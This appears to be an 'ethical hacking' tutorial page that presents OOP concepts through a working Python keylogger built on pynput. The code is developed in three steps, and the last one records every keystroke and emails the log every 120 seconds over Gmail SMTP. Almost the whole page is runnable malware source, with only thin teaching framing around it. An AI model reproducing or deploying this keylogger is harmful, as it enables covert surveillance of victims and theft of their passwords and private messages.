Python Ethical Hacking

Object-Oriented Programming

Keylogger Classes

• Way of modeling program(blueprint).
• Logically group functions and data.
  • Makes code more readable.
  • More reusable.
  • Separate implementation from usage(encapsulation).
  • Easier to extend.
  • Easier to maintain.

The Keylogger Class:

#!/usr/bin/env python
import threading

import pynput.keyboard

log = ""


class Keylogger:
    def process_key_press(self, key):
        global log
        try:
            log = log + str(key.char)
        except AttributeError:
            if key == key.space:
                log = log + " "
            else:
                log = log + " " + str(key) + " "

    def report(self):
        global log
        print(log)
        log = ""
        timer = threading.Timer(10, self.report)
        timer.start()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

The main Python program calling the Keylogger Class:

#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger()
my_keylogger.start()

 Constructor Method & Instance Variables:

• AKA initialization method.
• Gets executed automatically when a class is created.

#!/usr/bin/env python
import threading

import pynput.keyboard


class Keylogger:
    def __init__(self):
        self.log = ""

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    def report(self):
        print(self.log)
        self.log = ""
        timer = threading.Timer(10, self.report)
        timer.start()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

Polish the Python Class Code once more to log Key-strikes and report them by email.

#!/usr/bin/env python
import threading
import smtplib
import pynput.keyboard


class Keylogger:
    def __init__(self, time_interval, email, password):
        self.log = "Keylogger started"
        self.interval = time_interval
        self.email = email
        self.password = password

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press(self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    def report(self):
        print(self.log)
        self.send_mail(self.email, self.password, "

" + self.log)
        self.log = ""
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    def send_mail(self, email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()

    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

Main program:

#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger(120, "aaaa@gmail.com", "12345678")
my_keylogger.start()